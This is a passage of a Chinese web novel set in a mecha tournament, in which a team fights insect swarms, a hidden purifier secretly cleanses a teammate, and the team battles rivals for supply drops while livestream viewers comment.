另一边的华妩两人打着打着终于找到机会，两人同时一记重击将A级虫族打得在空中倒退，就在华妩准备给予最后一击时—— 赵宴月喊道：“江茂茂！” “到！” 伴随着袭向华妩和严舒也的数道火焰弹切断了他们的动作，许白亦的身影也瞬间被传送到空中。 白紫色的机甲化作流光将他包裹，一道闪烁着黑紫色雷光的长刀将A级虫族斩落空中。 虫族沉重的身躯撞上大地层层叠叠的、被岁月压实的灰白骨渣层，激起漫天粉尘。 华妩收起机甲落回地上，怒火中烧地看向对面的三人：“抢我积分？” “算了算了，都不容易。”赵宴月打着圆场，指着江茂茂道：“之前都告诉过你们他的技能是穿梭了，怎么还会在同一个坑里摔倒两次啊，真是太不小心，下次可不能再这样了。” 第69章 草率了。 真的草率了。 赵宴月看着冲进了虫族堆里的江茂茂如是想到。 自从上次和华妩不欢而散, 江茂茂在意识到虫族的污染并没有想象中那么可怕后，就彻底放飞了自我。 早该想到的，他能用C级精神海非要成为机甲尖兵, 身上多少有点好斗的底子在。 弓上配备的三只可巡回能量箭已经满足不了他的战斗欲望, 江茂茂如今直接把弓当成砍刀用。 路上一遇到低等虫族，他扭头对着两个队友就是父亲般的嘱咐：“我去赚积分, 你们就在此地不要走动”。 第一天直播间的网友夸江茂茂真幸运，撞上A级虫族污染值竟然没瞬间飙出强制退赛线。 第二天直播间的网友夸江茂茂真是越来越有机甲尖兵的样子了，如此勇猛无畏看着一点也不比B级机甲尖兵差。 第三天直播间的网友见江茂茂在虫群里杀了个七进七出还没有要用净化资格的意思, 他们属实有点夸不出口了。 不是，这不对吧哥们。 不是说低等级精神海很容易被污染吗, 这能是C级精神海……？ 迷茫、不解、震惊、狐疑……各种各样的情绪充斥了网友的大脑。 “有没有可能，江茂茂根本不是C级精神海。” “没有可能，精神海等级鉴定仪式至今零失误。” “这不对吧, 这怎么想都没有道理吧。” “是不是我们少见多怪了, 江茂茂自己好像并没有觉得有哪里不对劲。” “碰到A级虫族没被淘汰我还说一句算他跑得快，第二天江茂茂大部分时间都在用弓我还能劝自己是他隔得远, 现在他都直接混进虫群里了污染值还没爆，这说得过去吗？” “……恐怖的是他们队三个人没有一个人觉得这有问题。” “垃圾女王和许白亦当然不会觉得有问题, 你要知道, 他们其实对C级精神海根本没有认知。” 赵宴月其实是有认知的, 因为她频繁地在给江茂茂的精神海搞净化。 虽然每次都净化得不多, 但是他的污染指数在没有干预的情况下如今早就该突破100%了。 就算要作点小弊也不能太肆无忌惮, 江茂茂眼看就要对虫族污染形成错误的概念，再这么下去是个人都能发现不对劲。 赵宴月留在江茂茂精神海里的一丝精神力没再主动净化里面的黑雾，像是勤勤恳恳的牛马突然宣布罢工。 江茂茂打架打得正爽，突然发现精神海城门失火, 顿时大惊失色。 周围虫族的污染效果似乎忽然间就加强了许多。 虽然只是一群低等虫族，但精神海污染值监测器上的数值莫名开始加速上升，吓得他开着机甲飞快冲出了虫群。 “啊啊啊啊——救命——” 许白亦掀起眼皮看过去：“你不是说都交给你了？” “别埋汰人了许白亦！我污染值57.9%了！”江茂茂一个穿梭出现在了队友身边，喘着气惊魂未定道。 许白亦冷漠地过去给江茂茂留下的烂摊子做了收尾工作。 江茂茂气还没喘稳，突然又眼前一亮看向赵宴月：“月月！是时候用逃命券——啊不是，净化资格了！” 赵宴月的注意力都在地图上，敷衍地开口：“用吧。” 来不及为即将逝去的500积分净化资格哀悼了。 前方就是迷雾沼泽，奔波跋涉了两三天，又是杀虫族又是赶路，现在可算是看见了终点的曙光。 江茂茂美滋滋地在光脑上点下“使用”，然后心情又变得忐忑起来：“怎么办，有亿点紧张。” 身边的人半天没说话，江茂茂推了推她，示意她该接话了。 赵宴月：“……紧张什么。” “可以近距离接触到殿下诶！换你你也紧张。” “我不紧张。” “你为什么不紧张。”江茂茂刚说完，又忽然想到什么似的自己把自己说服了：“也是，你们S级精神海好多人都对殿下们没有敬畏之心。” “唉。”江茂茂叹了口气：“我真是和你们这些S级精神海说不清楚，可能什么时候出现一名S级净化师你就懂我现在的心情了。” “不出意外我这辈子都懂不了你现在的心情。” 江茂茂闻言，眼神顿时变得怜爱起来：“别这么悲观，虽然确实概率不大，但是万一呢，人要对生活有希望！” 医疗运输舰很快就如同银梭般刺破铅灰色的天幕，江茂茂不舍地看向两名队友：“我会想你们的。” 许白亦：“倒也没到生离死别的地步。” 赵宴月：“净化你也就三秒钟的事。” 江茂茂：“……” 厚重云层之上的悬浮舰上巨大而豪华，柔和的光带沿着光洁如镜的弧形廊壁流淌，空气里浮动着恒温系统送出的的暖风。 忽然从光线昏暗空气浑浊的秘境来到悬浮舰上，那一瞬间的观感就像是从地狱升到了天堂。 江茂茂整个人都灰头土脸的，和上面的工作人员颇有些格格不入。 他先被接应人员带去洗漱了一番，然后才崭新出厂地被带到了一段铺着厚实地毯的走廊里。 走廊一侧是几扇紧闭的厚重隔音门，两个军衔不低的侍卫官守在门外，冷淡的目光扫过门外零星排着几个人。 ——这几个应该都是和他一样用了净化资格的选手。 选手们的神情稍显疲惫，但眼睛里又带着如出一辙又难以掩饰的激动与紧张，眼神光都看着发亮。 江茂茂默默排到队尾，在他之后已经没有选手再上来了，侍卫官敲了敲门，隔音门隔了几秒才向内滑开。 柔和的光线和清雅的香气向外蔓延，同时响起的还有解说员冷静分析战况的隐隐解说声。 “目前编号X-4018队伍已接近迷雾沼泽边缘区域，正遭遇小股低等虫族袭扰……” X-4018…… 这不是他们队伍的编号吗，江茂茂记得自己直播间名字就叫X-4018-江茂茂直播间。 一名少年穿着剪裁合体的深色休闲装在此时走了出来，他精致的脸上神态慵懒，仿佛刚结束一场惬意的下午茶。 贺如故的目光扫过一张张透着激动的脸，声音平淡又懒散道：“不要紧张，也不要抵抗我。” 话音一落，江茂茂便感到一股外来的精神力闯进脑海，他顿时紧张地屏住了呼吸，极力放松下来。 过了没多久，精神海被闯入，里面的黑雾如同被阳光融化的冰雪般迅速消弭无踪，留下一片近乎澄澈的天地。 这就结束了。 比他想象中还要快。 ——但是绝对不止赵宴月说的三秒！ 江茂茂咂了咂嘴，还有点意犹未尽。 贺如故完成任务，目光在江茂茂身上顿住，唇角勾起一抹笑意邀请道：“进来吃点东西？我看你们这几天净喝营养液了。” 江茂茂闻言受宠若惊，指了指自己茫然道：“啊？我吗？让我进去吗？” 贺如故懒得解释，转身走进室内：“快进来吧。” 在另外几个选手“为什么不邀请我只邀请他”的羡慕嫉妒目光中，江茂茂有点摸不着头脑又有点忐忑地跟着贺如故走了进去。 室内带着冷丝丝的香气，刚才的解说声江茂茂并没有听错，殿下们确实在看他们队伍的直播画面，准确来说是在看赵宴月的直播间，见到有外人进来也没怎么在意。 江茂茂本来还以为里面会是一间神圣的净化室，结果里面是一间装修豪华的影音室。 占据整面墙壁的巨大光屏上，正是赵宴月和许白亦往迷雾沼泽内部行进的画面，赵宴月此时正拔下一颗不知名的草。 不知名的草一离开土地，便化作了一只终极态的巨大霜骨鱼，它身上每一条骨头都被晶莹剔透的寒冰包裹着，恐怖中透着一丝好看。 难怪死灵秘境的骷髅灵兽也有一堆激推，好像也不是不能理解。 “尽管吃，别客气。”贺如故将桌上的精致果盘和茶点往江茂茂的方向推了推，然后惬意地坐回一张宽大的软椅。 他一双长腿交叠，用下巴点了点光屏道：“瞧瞧这干净利落的动作，不愧是我家月月。” 江茂茂：“……” 我家……月月…… 赵宴月看着不声不响的，竟然还有这层关系，敢情是沾了她的光才享受了一把特殊待遇。 江茂茂悄悄打量了一会儿贺如故精致的眉眼，感叹这水灵灵的大白菜也是被赵宴月给挑走了。 这可是净化师殿下！ 要知道每一位净化师殿下都是无数人的梦中情人，拥有超多激推，怎么就看上赵宴月了呢。 唉，既怕姐妹过得苦，又怕姐妹开路虎。 贺如故此时正好转头看向江茂茂，装作不经意道：“赵宴月有没有和你们提过我？我可是帮你们队拉了好多投资的。” 斜倚在一旁软榻上的许清雪手里把玩着银白色的机甲小手办，她原本还聚精会神地盯着光屏，听到这话顿时开口嘲笑：“干嘛要提到你，你是什么很重要的人吗？” “哈？”贺如故语气凉凉，“你管我是不是呢，倒是你一直看我家月月的直播干什么？你没有自己喜欢的队伍吗？” “你管我看不看呢。” 江茂茂：“……” 原来只是对选手的喜欢啊。 吓死他了，还以为这好事真被赵宴月赶上了。 全息光屏里许白亦正牵制着霜骨鱼，而银白机甲在迷雾中躲过袭来的冰棱，用狙击枪对准霜骨鱼发出三连点射。 火焰弹一碰上霜骨鱼便立马化作水汽消散，赵宴月见自己的天赋技能奈何不了它，动作明显顿了顿。 段院长坐在茶桌边，看向光屏的目光里带着一丝不易察觉的紧张。 这霜骨鱼起码是接近S阶的灵兽，天赋技能的冰还天克赵宴月的火。 况且幽光草是赵宴月拔下的，就算她有队友，伴生灵兽的火力也会集中在她身上。 段院长又想吃速效救心丸了。 柳依依坐在段院长的旁边小口抿着茶，见段院长神色不佳，便也将目光落在了光屏上。 迷雾沼泽并不是什么很干净的地方，此时两具机甲的外壳上都沾染了不少脏污，加上不少战斗造成的损伤，看着很是狼狈。 看着屏幕里在污秽与危险中搏杀的身影，柳依依手指无意识地抚过自己涂着淡粉色珠光指甲油的手，又轻轻摸了摸身上柔软昂贵的衣料。 曾经她的生活也充满了污秽和暴力，可自从被检测出净化天赋后，生活开始变得像是一场美梦。 段院长是世界上对她最好的人，可她似乎总是格外操心这个叫赵宴月的选手，也分走了对她的关注。 “许白亦的天赋技能怎么看着像是被削了似的。”许清雪清脆的声音打断了柳依依的思绪，让她回过了神。 贺如故嗤笑一声，十分刻薄道：“文盲啊你，冰不导电，能劈出这效果已经算他的技能很牛了。” 许清雪这次稀奇地没有和他计较，反而眉头一皱道：“那怎么办？” 贺如故没有回答，因为霜骨鱼在赵宴月的挑衅下已经暴怒——不得不说，她不管是刺激人还是刺激灵兽的本事都很强。 一米多高的冰刺从地上突起，一根又一根地追着银白色的机甲跑，刹那间就连成了一道冰刺墙。 与之而来的还有从空中袭来的冰棱，简直达成了三百六十度无死角的进攻。 黑红色的流星天火此时也点亮了大片天空，坠落下来撞上地面上铺天盖地的寒冰，一刹那间水汽蒸腾，白雾弥漫到视野都被遮蔽。 霜骨鱼尾巴一甩，身上的坚冰和空中的雾气都化作水滴落，身上却是毫发无伤。 正在它对准赵宴月准备重新发起进攻之际，震耳欲聋的雷声如同千军万马般奔腾而来。 霜骨鱼雪白的骨架此时还没能重新凝结出寒冰，猝不及防间被万钧天雷劈得焦黑到冒烟。 散发着浅淡光芒的幽光草从天上掉到地下，赵宴月透着愉悦的声音响起：“你克我我克你幸福生活甜蜜蜜，下次你也记得带个帮手哈。” “赢了，舒坦。” 许清雪神清气爽，原本坐直的身体重新往软榻上倒了下去，又有闲工夫折腾起了手里的机甲小手办。 贺如故冷眼看去，烦躁道：“你不能喜欢你自己喜欢的选手吗，这是我喜欢的选手。” “不是你一开始死活不肯换直播间的吗？”许清雪心无旁骛地将做工精致的小衣服往机甲身上套，“再说了谁说我喜欢她了。” “那你买她的机甲手办干什么？” “什么你的我的她的，每个机甲战宠的机甲手办我都有，怎么的？她身上的最新款我不能买？” “好无力的解释，苍白得令人发笑。”贺如故说完犹觉得攻击力不够，翻了个白眼评价道：“学人精。” 江茂茂：“……” 屋里的其他人对此早已见怪不怪，只有他在两名殿下的唇枪舌剑里坐立难安。 贺如故见他不自在，终于慈悲为怀地把他放走了。 在江茂茂踏出房门之前，贺如故还特意提醒江茂茂，让他记得和赵宴月表达一下他对她的看好，加油冲进军校联赛把贺江山打趴下。 等江茂茂重新回到队友身边的时候，赵宴月和许白亦都已经从那片翻涌着灰绿色雾气的迷雾沼泽里出来了。 赵宴月一见到他便道：“回来得刚好。” 她和许白亦今天一天下来精神海都要空了，正愁该怎么去附近的补给站，这不穿梭专机立马就回来了。 江茂茂将机甲驾驶舱打开让两人上来，顺便迫不及待地分享了一下自己人生第一次的“净化后感”。 “你都不敢相信！有种脑子里的淤泥一下子被清除了的感觉！整个人都一下子轻松了诶！太美妙了！500积分一点没白花！” 江茂茂回忆完，声音突然又带上了一丝恍惚地感叹：“悬浮舰上才是人过的生活啊，干净亮堂还香喷喷，地上干净得苍蝇站上去都得劈叉。” 机甲外秘境里的光线灰灰绿绿，待上这么几天真是上吊都没力气。 “啊——殿下的生活我的梦。” 见赵宴月和许白亦都没接话，江茂茂一边开机甲一边催促道：“说句话啊队友，队友你们说句话啊！” 赵宴月：“真是非常有感情的诗朗诵，表达了作者浓浓的思乡之情。” 许白亦没有溺爱江茂茂，直接换了个话题道：“第二赛程明天就开启了，补给站也会全部关闭，今天还能安心睡一晚，好好休息。” “说起来明天新星杯赛事主办方也该公布第一赛程各个队伍的积分排名了。”江茂茂一想到这心里就有点没底：“怎么回事，比高考出分还紧张。” 赵宴月信心满满道：“紧张什么，我们三个人加起来马上就要有四个天赋技能了，这不直接拿下。” “哇！整整四个诶！真是好大的数字！” 赵宴月：“……？” 江茂茂：“……天地可鉴，我真的没有阴阳怪气。” 许白亦看着他们，深深地叹了口气。 心好累，队伍里三个人，只有他一个人对前途感到迷茫。 第70章 迷雾沼泽附近补给站里兑换光屏上的物资早就空了, 稀稀拉拉的只剩几瓶营养液能兑换。 像是净化资格、武器之类的重点物资基本在第二天结束时就已经全部售罄。 许白亦将最后几瓶营养液兑换了出来，打算当做队伍三人明天的饭，他刚取完营养液, 一转身却发现只剩江茂茂在旁边。 江茂茂一见他的表情, 便了然地指了指补给站外面：“说是熬药去了。” 补给站外面的天色黑漆漆的，赵宴月此时正蹲在一个小池塘边。 她手里拖着一片大大的荷叶, 荷叶里是漆黑得色彩斑斓的进化药剂，还往上冒着升腾的热气。 小六被她用手捏住身体，只有一个小骷髅头从拳头里冒了出来, 眼眶两簇跳动的蓝火在夜色中格外耀眼，清晰地写满了惊恐。 赵宴月有些迟疑地看向小六：“你身上全是洞, 喂进去不会漏出来吧。” 小六本来还十分抗拒喝这黑不拉几的液体，一听这话立马反驳道：“卡卡卡卡！” “那就好。” 赵宴月将荷叶边卷了卷，然后心狠手辣又冷酷无情地给小六灌了进去。 小六：“卡卡……咕噜咕噜……卡……咕噜噜噜噜……” 进化药剂进了它的嘴巴就像是进了异次元空间, 赵宴月将它捏起来看了看, 并没有在它的骨架里看见液体。 “卡卡卡卡——” 小六还没控诉完，又被一颗A级晶源堵了嘴。 算了。 看在A级晶源的份上, 它就不和赵宴月计较她的粗鲁了。 手里的小六进化后仅仅是变大了一圈，和赵宴月第一次见它时长得一模一样, 并没有小五进化时那么震撼。 而赵宴月也在它进化后, 立马感应到自己拥有了一个新的天赋技能。 一天只能用一次的生机汲取, 效果是可以汲取生物的生机恢复精神力。 现在小六仅仅是进化态一阶, 这个技能对精神力的恢复上限是35%。 如果按照每提升一等阶恢复上限提升5%来计算, 等小六达到21阶满级后，也不过是每天提供一次免费回满精神力的机会。 秘藏灵兽就这水平？ 不应该啊。 赵宴月接触过的秘藏灵兽也不多，但不管是许白亦那杀伤力堪称恐怖的天雷，还是柏慈没怎么出手但也能管中窥豹的“潮汐引力”, 都可以说和普通攻击类灵兽的天赋技能不在同一个档次。 赵宴月忧愁地戳了戳小六，低声道：“难道是因为不是攻击类灵兽……” “卡？” 小六思考片刻，立马悟了她这句话的意思，顿时语气激烈地大声道：“卡卡卡卡卡卡！” 它气鼓鼓地把赵宴月的手扒拉开，十分不爽地跳到了地上，然后下一秒就崴了脚。 赵宴月：“……” 她慈悲地忍住嘲笑，刚想把小六抓起来丢进精神海里修修，结果小六已经身残志坚地从草丛堆里拽出了一条青蛙腿。 小六眼眶里的蓝火突然变成诡异的血红色，原本还在疯狂挣扎的青蛙身上浮现出丝丝缕缕不详的红光。 整只蛙肉眼可见地萎靡了下去，看着就像是被吸了精气似的，而小六崴了的脚却是直接恢复如初，身上的每一根骨头都泛出莹白色。 小六展示完毕，从虚空中拖出一把暗红色的华丽椅子，它坐上去翘起二郎腿，指了指已经萎靡到跳都跳不动的青蛙，然后对着赵宴月指指点点：“卡卡卡卡卡卡。” 赵宴月从青蛙黑绿黑绿的皮肤上收回视线，意识到这个天赋技能比起回复精神力，更重要的是其实是技能描述里丝毫未提的虚弱debuff。 小六还在一边“卡卡卡卡卡”，赵宴月重新干回彩虹屁制造机的老本行：“知道了知道了，你的天赋技能最厉害了。” 小骷髅眼里不爽的小火苗一顿，扭捏道：“……卡。” 赵宴月已经蹲在地上陷入了沉思。 按照小六所说，这个天赋技能对灵兽和契约者的作用不是完全一致的。 小六使用技能并没有24小时的冷却时间，但是技能对它的作用也仅仅是“修复”，如果身体并不需要修复它就用不了技能。 而对她来说，这个“修复”变成了对精神力的恢复，同时也有了24小时的CD限制，如果精神力是满的，她也用不出这个技能。 也就是说想要启动这个技能的前提条件是精神力至少有回复的空间。 考虑到“生机汲取”本身的debuff功能，她能回复的精神力越多，这个“虚弱”的debuff就越强。 在目前回复上限是35%的情况下，如果她只能回复1%的精神力，那被汲取的对象也仅仅只能虚弱1%，不拉满实在是划不来。 刚好这一天已经快要结束了，这一天一次的技能不用白不用。 赵宴月站起身，围着浑浊的小池塘转了一圈没能找到活物，目光若有所思地停留在了池塘边长势茂盛的不知名野草上。 少女的一双狐狸眼下一秒便像是开了红光特效般亮了起来，池边的野草上被丝丝缕缕的红光缠绕，瞬间蔫吧了一大片。 “赵宴月！” 江茂茂见赵宴月许久没回补给站干脆出去找她，然后就看见站在池塘边的少女回头看了过来。 黑漆漆的池塘，枯爪般的野草，眼睛冒红光的少女，组合在一起闯入视线的冲击力让江茂茂直接倒吸一口冷气。 江茂茂：“……” 这又是在搞什么play。 撒因此时也突然冒出来，发出了充满惊叹的夸赞。 【你现在能给人带来的恐惧感大概只在那只沿着井壁飞快往上爬去追主角的某知名女鬼面前稍有逊色】 “谢谢，不过我建议你下次夸人之前先去阅读一下《5分钟打动人心——合理运用赞美的108种方法》。” 撒因闻言有些迟疑。 【可是网友说我就是这种书读多了才把脑子读坏的】 “那你是听我的还是听网友的。” 【有道理，那我去读书了】 补给站在早上八点准时收起了能量罩，整个补给站瞬间暴露在外，安保组的成员也纷纷撤离。 新星杯第二赛程开始了。 选手们依依不舍地目送安保组的大佬离开，然后迫不及待中又带点忐忑地点开光脑查起了成绩。 江茂茂有点不敢点进去看，只好眼巴巴地盯着两个队友，试图从他们脸上的神色推测出排名的好坏，先做个心理准备。 新星杯赛事主办方的星博都不需要专门去搜索，顺着热搜词条点进去就是最新动态。 “202届新星杯第一赛程已结束，目前淘汰选手1930人，剩余参赛选手11738人。 积分统计截止到昨晚24：00，各队伍排名已公布，请注意查收！” “NO.1：X-0019，当前积分：5819 NO.2：X-2356，当前积分：5798 NO.3：X-0769，当前积分：5777 …… NO.55：X-1478，当前积分：5511 NO.56：X-0854，当前积分：4210 …… NO.99：X-4018，当前积分：2258 NO.100：X-0034，当前积分：2199” 赵宴月从排名表上收回视线，感觉对手们都强得可怕。 她这五天在江茂茂身上节省了起码两个500积分的净化资格，在少花了1000积分的情况下才堪堪排到第99名。 许白亦明显对这个结果有些讶异，还有点不可置信。 就算机甲上加装的武器让他们击杀虫族的效率变高了很多，但是他们这几天都忙着赶路去迷雾沼泽，在根本没有专门去击杀高等虫族的情况下，这个排名实在是远远高于他的预期。 ——甚至让他觉得这一届的对手未免有些太菜了。 赵宴月和许白亦脑子里各想各的，只有江茂茂看到这个排名后开心得见牙不见眼。 他盯着光脑啧啧感叹道：“不出意外的话排在前55名的都是3S队伍，和56名直接大断层了，不用换净化资格真是优势巨大。” 许白亦刚想点头，脑中却灵光一闪，恍惚间像是抓住了什么。 排名第56的队伍是两个S级加一个B级机甲工程师的标准配队，某种意义来说他们队伍的组成其实和自己的队伍没差别——都只需要为一名队员兑换净化资格。 他们和3S队伍差了1301积分，相当于至少2个净化资格的差距。 而江茂茂作为全程参与战斗的队员，整个第一赛程下来竟然只消耗了一个兑换资格，更别说他还是比B级更低一级的C级精神海。 那他们队伍省下的这一个——或者说两个甚至三个净化资格的积分，到底是从哪省来的？ 思及此，许白亦探究的目光从江茂茂的脸上扫过，结果得到了对方茫然回望的视线。 许白亦：“……” 算了。 怀疑他有问题还不如怀疑…… 赵宴月此时正低着头看地图，根本没注意到两个队友之间你看我我看你的眼神交流。 新星杯的官方信息已经发了过来，表示空投物资即将进行投放，具体投放地点已于虚拟地图上进行了标记。 死灵秘境地图上各个方向都出现了泛着蓝光的空投物资箱标识，在一片蓝光中还出现了一个金光空投物资箱。 她从屏幕中抬起头，对上许白亦看过来的视线，狐疑道：“看我干嘛，看地图啊，收拾收拾干翻他们！我已经准备好了！” “……” 算了。 这个也不像。 他真是魔怔了，竟然会怀疑队伍里有隐藏的净化师殿下，这说出去都要被夸一句脑子多少有点大病。 赵宴月可是S级精神海，就是怀疑江茂茂也不能怀疑到她头上。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-80 第71章 空投物资箱上的光柱直射云霄, 就像是一个个灯塔似的，在秘境不同的位置此起彼伏地亮起。 只不过物资箱一落地，随着能量保护罩的消失, 用于定位的光柱也消失不见。 赵宴月趴在一片由巨型脊椎骨构成的小山上看着碗里的想着锅里的。 她一边观察着山脚下的蓝色物资箱, 一边对着离她十万八千里的金光物资箱长吁短叹。 “好着急好着急，怎么没人动手, 都这么能忍吗。”江茂茂头上顶着一圈打掩护的草环，趴在赵宴月旁边念念叨叨。 “很难说清楚周围这一圈山上趴了多少人。”赵宴月看着周围的一座座骨架山，教唆道：“当然也有可能一个人没有, 要不你去试试看。” “那不行。”江茂茂将头摇成拨浪鼓：“万一山上人山人海的，就算我穿梭过去那也是露头就秒。” 他的机甲要是被打坏了, 甚至都不能收进精神海进行修复。 赵宴月净给他出些馊主意。 于是江茂茂扭头教唆起许白亦：“许哥去。” “我不去，赵宴月去。” “有没有搞错，你怎么好意思让我一个拿狙击枪的冲在前面。” 直播间：“……” “垃圾女王这个队伍的情况很复杂, 我很难评价。” “其他选手已经抢物资箱抢得不知天地为何物了, 这里还在岁月静好。” “依稀记得我老公以前不是这种性格，不过你怎么样我都爱[爱心][爱心][爱心]” “睡着了家人们, 怎么做到这么多忍人同时聚集到一个物资箱附近的，但凡有一个没那么能忍现在都该打起来了。” “有本事趴到第二赛程结束。” “不用趴了, 有虫族过来了。” 对面的山坡上突然喧闹了起来。 武器的轰鸣声, 机甲碰撞的金属碰撞声、还有虫族的尖啸刹那间混杂在一起, 像是在原本还算安静的空间里砸下了一道惊雷。 有不知名队伍趁乱出现在了物资箱附近, 下一秒就被数道光束集火, 机甲瞬间爆成一团流光。 这种程度的损伤明显不好受，几名选手从机甲里掉出来后捂住胸口直接吐出了一口血，果断退出了秘境。 江茂茂看得冷汗直冒：“太恐怖了，这山上起码有一百个人吧。” 物资箱的争夺战彻底打响, 山上的队伍根据弹道迅速定位到对手的位置，纷纷动了起来混战成一片。 赵宴月在有人出现在物资箱边上时也没有出手，忍到最后终成赢家，队伍的位置始终都没暴露。 见周围的队伍已经乱成一锅粥，三人对视一眼。 江茂茂看着许白亦道：“物资箱的位置超出我的技能使用范围了，我只能把你送过去，没法让你传送回来。” “问题不大。”赵宴月试图分析：“周围这些队伍看着人多，其实现在机甲上加装了远程武器的人就那么一些。” 第二赛程才刚开始不久，现在就给机甲加装上武器的队伍本来就不多，更别说还得是远程武器才能对许白亦造成威胁。 “别管多不多了，记得给我打掩护。”许白亦看向赵宴月，强调道：“我的机甲如果丧失作战能力，那今天的积分就靠你赚了。” “朋友，别这么说，那很恐怖。” “得了得了，已经没工夫聊天了！”江茂茂插话道，说完就启动天赋技能，将许白亦传送到物资箱旁边。 白紫色的机甲神不知鬼不觉地出现在物资箱旁边，周围山上的队伍就算打起来了也没忘了自己的目的是拿到物资箱，四面八方的炮弹立马袭来。 许白亦拿起物资箱，身形如同鬼魅般在密集的枪林弹雨中穿梭。 赵宴月顺着弹道定位到对手的位置，一枪枪火焰弹打过去后，许白亦承受的火力明显减少了许多。 “这什么鬼队伍！” 被击中的选手低骂一句，火气直冒。 对面先是莫名奇妙地凭空出现在了物资箱边，等反应过来的时候他已经成功将物资箱拿到手了，直接错过狙击的最佳时间点。 等其他人反应过来对他集火的时候，立马又有队友给他架枪。 打他队友就不能打他，打他就要被他队友打——他的队友打人还很痛。 同样是被狙，被别人击中十几枪的效果和被她击中三枪的效果大差不差。 作为机甲工程师，赵宴月只能说这是基操。 机甲身上的脉络结构她再清楚不过，就打节点这件事而言，她打选手机甲上的脉络节点比打虫族身上的能源节点还熟悉。 只不过还没骄傲多久，其他人见已经没有拦下许白亦的可能，直接将火力对准了赵宴月。 赵宴月：“……” 干什么干什么。 打不中许白亦拿她撒气。 见许白亦已经渐渐接近了过来，赵宴月也没再和他们对射，干脆找了个掩体躲了起来。 1vn还是太考验操作了，子弹打在机甲上怪疼的不说，物资箱都要拿到手了，没必要再在选手身上浪费精神力。 “有人把虫族引到许哥旁边了！天杀的，A级！”江茂茂说话的声音一下子变了调。 许白亦现在已经离他们所在的位置不远，赵宴月问道：“这个距离能把许白亦传送回来吗？” 江茂茂估摸了一下：“如果我是B级契约者，那这个距离估计可以。” “下次直接说不行。” “喔。” A级虫族并没有将捕猎目标换成许白亦，即便被引到了许白亦身边，它基本上还是在追着原本队伍里的三个人打，但许白亦也承受了不少无妄之灾。 而将A级虫族引到许白亦身边的选手一边被虫族压着打，一边也没忘了抽出空去抢许白亦手里的物资箱，总之三个人加上虫族成功拖住了许白亦的脚步。 山上架枪的选手更是虫族和选手各打五十大板，子弹嗖嗖嗖地飞来，谁都没落下。 现场一度十分混乱，但凡虫族和选手之间少一个阻碍，许白亦应该都不难应付。 看着忽然打到自己附近A级虫族和选手，江茂茂感受到了污染逼近，污染指数也开始上涨。 他没有和A级虫族立马拉开距离，反而眼睛一亮道：“诶！我有个馊主意。” 江茂茂指着虫族身边的选手：“我大概还能用三次技能，刚好可以把这队伍三个人传走，这样许哥还能拿下A级虫族的200积分。” 这可是200积分。 专门去找高等级虫族还要消耗精神力去搜寻，这只都送上门来了，实在很难让人放弃。 “山上还有人盯着，容易被偷走最后一击。”赵宴月思索片刻看向江茂茂，目光深沉道：“这样，我其实有个更馊的。” 江茂茂有种不祥的预感：“更馊的要不就别说了吧。” 赵宴月当做没听见，直接道：“你把A级虫族传过来，让许白亦去对付那些选手，然后再让他来支援我。” “……传谁过来？”江茂茂不可置信地提高音量：“你说传谁过来？” 赵宴月此时已经召出机甲，和江茂茂拉开了一大段距离，江茂茂只听见她的声音在自己脑子里响起：“传我身边来。” 江茂茂很想劝赵宴月对自己的水平心里有点数，但还是下意识听了她的馊主意。 机甲的距离超出了通讯距离，精神力的连接也随着距离的拉远直接断开，江茂茂就是想劝也没地方劝。 眼见着A级虫族马上又要离开他的技能使用范围，江茂茂眼一闭心一横，将A级虫族传送了过去。 不管了，犹豫就会败北，只要许白亦解决选手解决得够快，就能去捞赵宴月。 原本还在和A级虫族缠斗的选手看着突然消失的虫族：“……？” 这不天助我也。 管它怎么消失的呢，反正消失得正好，没了虫族的阻碍抢物资箱只会更方便。 许白亦若有所觉，只当江茂茂将A级虫族传送到不知道哪里去了，看着眼前的队伍笑了一声。 他们竟然会以为虫族是他们抢夺物资箱的阻碍。 好歹当过地下黑赛的擂主，他和机甲对战的经验可比和虫族对战多多了。 …… 赵宴月看着眼前的A级虫族艰难地眨了眨眼。 这毕竟是A级虫族，已经被称作王虫的A级虫族，她之前打B级的高等虫族都没打过。 A级虫族比三米多高的B级虫族体型更小，速度更快，和机甲比起来甚至它才是更加灵活的一方。 一个照面的时间银白机甲就被砍出严重损伤，赵宴月不敢多拖，黝黑的瞳仁眨眼间转换成了发着红光的血红色，整个人透出一丝诡谲的味道。 丝丝缕缕的不详红光迅速缠绕上虫族的身体，它的动作和速度都肉眼可见的慢了些许，而赵宴月的精神海却是一点点充盈。 这日子也是好起来了。 向来都是高等级虫族吸契约者的精神力，有朝一日她也是反过来吸上虫族的能量了。 A级虫族顿了片刻，似乎是适应了一下这种忽然虚弱下来的感觉，而后便长刀在手中一转，面无表情地恢复了进攻。 只不过它此时的攻击明显比之前少出许多压迫感，就像是实力倒退了一个水平。 要说赵宴月之前是毫无还手之力，现在则明显得到了喘息。 狙击枪重新有了发挥作用的空间，A级虫族速度慢了下来，和赵宴月一个追一个躲，时不时被前方机甲回头瞄准打出几枪。 虫族侧身闪避的功夫，便又和机甲拉开了距离。 它从孵化以来从未遇到过这种情况，没有任何一个契约者会顶着污染和它玩这种拖时间的游戏——要么战，要么逃。 赵宴月此时也在思考还要拖多久。 许白亦再不来她的精神海都要被填满了，虚弱的debuff一旦失效，那她真是叫天天不应叫地地不灵。 机甲但凡再受损几次就要消散，赵宴月操控着引力丝将机甲扭成了麻花，险之又险地躲过了A级虫族袭来的一击，然后再次和虫族拉开距离。 还好机甲架构的是细分脉络，换了传统的架构方式还真做不出这种高难度动作。 安保组的S级大佬们悬浮在云层之上，盯着下方的局势大气都不敢喘。 银白机甲每被A级虫族追上受损一次，他们的心脏就一突突。 “场面恐怖得我有点承受不住。” “这是什么古怪技能，这只A级虫族现在看起来不像是王虫的水平。” “不对啊，殿下的天赋技能不是流星天火吗，现在不少人都在等天火狼的完整进化链发布。” “……难道天火狼其实是拥有两个天赋技能的灵兽？” “相信这个不如相信殿下契约了两只灵兽，反正殿下能契约两只灵兽也很正常吧。” “如果是殿下的话，那确实很正常……吧。” “能不能让我现在就下去干掉这只A级虫族，我真的心脏病要犯了。” “谁不是呢。” 被赵宴月念叨的许白亦此时刚不紧不慢地结束战斗，就见江茂茂硬是顶着山上的子弹，驾驶机甲飞了过来。 他的机甲在秘境里没法修，一旦损坏很是麻烦，能有什么事这么着急。 机甲的通讯重新被连接上，江茂茂的声音从传讯器里传来：“快快快，别展示你的战斗艺术了，你动作再慢点赵宴月要完蛋了！” 